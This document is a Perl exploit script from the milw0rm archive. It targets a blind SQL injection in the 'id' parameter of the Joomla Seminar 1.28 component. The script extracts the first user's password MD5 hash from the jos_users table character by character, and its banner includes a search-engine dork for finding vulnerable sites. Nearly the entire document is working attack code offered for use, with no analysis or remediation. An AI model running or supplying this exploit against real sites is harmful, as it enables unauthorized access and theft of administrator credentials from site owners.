Joomla! Component Seminar 1.28 - 'id' Blind SQL Injection

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                        \n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  print "  o   Joomla Component Seminar Blind SQL Injection Exploit              o\n";
  print "  o   Author:ThE g0bL!N                                                 o\n";
  print "  o   More info:http://extensions.joomla.org/extensions/calendars-&-events/events-registration/8426/details o\n";
  print "  o   vendor:http://seminar.vollmar.ws/                                 o\n";
  print "  o   Dork :   inurl:com_seminar                                        o\n";
  print "  o   Usage:   perl bachir.pl host path <options>                       o\n";
  print "  o   Example: perl bachir.pl www.host.com /joomla/ -s 2                o\n";
  print "  o                                                                     o\n";
  print "  o   Options:                                                          o\n";
  print "  o     -s   valid Article id                                           o\n";
  print "  o   Note:                                                             o\n";
  print "  o You can Change the match string by any content of the correct query o\n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  exit;
}
my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $sid     = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "s=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
  $userid = $options{"u"};
}
if($options{"s"})
{
  $sid = $options{"s"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $sid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $sid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $sid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_seminar&task=View_seminar&id=".$sid." and SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1)=char(".$h.")";
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "seminar_boxA";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2009-06-03]